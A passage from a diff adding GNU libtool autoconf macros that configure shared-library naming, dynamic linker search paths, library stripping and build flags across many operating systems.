hardcodes the temporary library directory. + _LT_AC_TAGVAR(hardcode_action, $1)=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + _LT_AC_TAGVAR(hardcode_action, $1)=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + _LT_AC_TAGVAR(hardcode_action, $1)=unsupported +fi +AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)]) + +if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi +])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH + + +# AC_LIBTOOL_SYS_LIB_STRIP +# ------------------------ +AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], +[striplib= +old_striplib= +AC_MSG_CHECKING([whether stripping libraries is possible]) +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + AC_MSG_RESULT([yes]) +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) +fi + ;; + *) + AC_MSG_RESULT([no]) + ;; + esac +fi +])# AC_LIBTOOL_SYS_LIB_STRIP + + +# AC_LIBTOOL_SYS_DYNAMIC_LINKER +# ----------------------------- +# PORTME Fill in your ld.so characteristics +AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], +[AC_MSG_CHECKING([dynamic linker characteristics]) +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[[01]] | aix4.[[01]].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[[45]]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/[:,\t]/ /g;s/=[^=]*$//;s/=[^= ]* / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[[89]] | openbsd2.[[89]].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +AC_MSG_RESULT([$dynamic_linker]) +test "$dynamic_linker" = no && can_build_shared=no +])# AC_LIBTOOL_SYS_DYNAMIC_LINKER + + +# _LT_AC_TAGCONFIG +# ---------------- +AC_DEFUN([_LT_AC_TAGCONFIG], +[AC_ARG_WITH([tags], + [AC_HELP_STRING([--with-tags@<:@=TAGS@:>@], + [include additional configurations @<:@automatic@:>@])], + [tagnames="$withval"]) + +if test -f "$ltmain" && test -n "$tagnames"; then + if test ! -f "${ofile}"; then + AC_MSG_WARN([output file `$ofile' does not exist]) + fi + + if test -z "$LTCC"; then + eval "`$SHELL ${ofile} --config | grep '^LTCC='`" + if test -z "$LTCC"; then + AC_MSG_WARN([output file `$ofile' does not look like a libtool script]) + else + AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile']) + fi + fi + + # Extract list of available tagged configurations in $ofile. + # Note that this assumes the entire list is on one line. + available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'` + + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for tagname in $tagnames; do + IFS="$lt_save_ifs" + # Check whether tagname contains only valid characters + case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in + "") ;; + *) AC_MSG_ERROR([invalid tag name: $tagname]) + ;; + esac + + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null + then + AC_MSG_ERROR([tag name \"$tagname\" already exists]) + fi + + # Update the list of available tags. + if test -n "$tagname"; then + echo appending configuration tag \"$tagname\" to $ofile + + case $tagname in + CXX) + if test -n "$CXX" && test "X$CXX" != "Xno"; then + AC_LIBTOOL_LANG_CXX_CONFIG + else + tagname="" + fi + ;; + + F77) + if test -n "$F77" && test "X$F77" != "Xno"; then + AC_LIBTOOL_LANG_F77_CONFIG + else + tagname="" + fi + ;; + + GCJ) + if test -n "$GCJ" && test "X$GCJ" != "Xno"; then + AC_LIBTOOL_LANG_GCJ_CONFIG + else + tagname="" + fi + ;; + + RC) + AC_LIBTOOL_LANG_RC_CONFIG + ;; + + *) + AC_MSG_ERROR([Unsupported tag name: $tagname]) + ;; + esac + + # Append the new tag name to the list of available tags. + if test -n "$tagname" ; then + available_tags="$available_tags $tagname" + fi + fi + done + IFS="$lt_save_ifs" + + # Now substitute the updated list of available tags. + if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then + mv "${ofile}T" "$ofile" + chmod +x "$ofile" + else + rm -f "${ofile}T" + AC_MSG_ERROR([unable to update list of available tagged configurations.]) + fi +fi +])# _LT_AC_TAGCONFIG + + +# AC_LIBTOOL_DLOPEN +# ----------------- +# enable checks for dlopen support +AC_DEFUN([AC_LIBTOOL_DLOPEN], + [AC_BEFORE([$0],[AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_DLOPEN + + +# AC_LIBTOOL_WIN32_DLL +# -------------------- +# declare package support for building win32 dll's +AC_DEFUN([AC_LIBTOOL_WIN32_DLL], +[AC_BEFORE([$0], [AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_WIN32_DLL + + +# AC_ENABLE_SHARED([DEFAULT]) +# --------------------------- +# implement the --enable-shared flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_SHARED], +[define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([shared], + [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@], + [build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_shared=]AC_ENABLE_SHARED_DEFAULT) +])# AC_ENABLE_SHARED + + +# AC_DISABLE_SHARED +# ----------------- +#- set the default shared flag to --disable-shared +AC_DEFUN([AC_DISABLE_SHARED], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_SHARED(no) +])# AC_DISABLE_SHARED + + +# AC_ENABLE_STATIC([DEFAULT]) +# --------------------------- +# implement the --enable-static flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_STATIC], +[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([static], + [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@], + [build static libraries @<:@default=]AC_ENABLE_STATIC_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_static=]AC_ENABLE_STATIC_DEFAULT) +])# AC_ENABLE_STATIC + + +# AC_DISABLE_STATIC +# ----------------- +# set the default static flag to --disable-static +AC_DEFUN([AC_DISABLE_STATIC], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_STATIC(no) +])# AC_DISABLE_STATIC + + +# AC_ENABLE_FAST_INSTALL([DEFAULT]) +# --------------------------------- +# implement the --enable-fast-install flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_FAST_INSTALL], +[define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([fast-install], + [AC_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], + [optimize for fast installation @<:@default=]AC_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT) +])# AC_ENABLE_FAST_INSTALL + + +# AC_DISABLE_FAST_INSTALL +# ----------------------- +# set the default to --disable-fast-install +AC_DEFUN([AC_DISABLE_FAST_INSTALL], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_FAST_INSTALL(no) +])# AC_DISABLE_FAST_INSTALL + + +# AC_LIBTOOL_PICMODE([MODE]) +# -------------------------- +# implement the --with-pic flag +# MODE is either `yes' or `no'. If omitted, it defaults to `both'. +AC_DEFUN([AC_LIBTOOL_PICMODE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +pic_mode=ifelse($#,1,$1,default) +])# AC_LIBTOOL_PICMODE + + +# AC_PROG_EGREP +# ------------- +# This is predefined starting with Autoconf 2.54, so this conditional +# definition can be removed once we require Autoconf 2.54 or later. +m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP], +[AC_CACHE_CHECK([for egrep], [ac_cv_prog_egrep], + [if echo a | (grep -E '(a|b)') >/dev/null 2>&1 + then ac_cv_prog_egrep='grep -E' + else ac_cv_prog_egrep='egrep' + fi]) + EGREP=$ac_cv_prog_egrep + AC_SUBST([EGREP]) +])]) + + +# AC_PATH_TOOL_PREFIX +# ------------------- +# find a file program which can recognise shared library +AC_DEFUN([AC_PATH_TOOL_PREFIX], +[AC_REQUIRE([AC_PROG_EGREP])dnl +AC_MSG_CHECKING([for $1]) +AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, +[case $MAGIC_CMD in +[[\\/*] | ?:[\\/]*]) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR +dnl $ac_dummy forces splitting on constant user-supplied paths. +dnl POSIX.2 word splitting is done only on the output of word expansions, +dnl not every word. This closes a longstanding sh security hole. + ac_dummy="ifelse([$2], , $PATH, [$2])" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$1; then + lt_cv_path_MAGIC_CMD="$ac_dir/$1" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <&2 + +*** Warning: the command 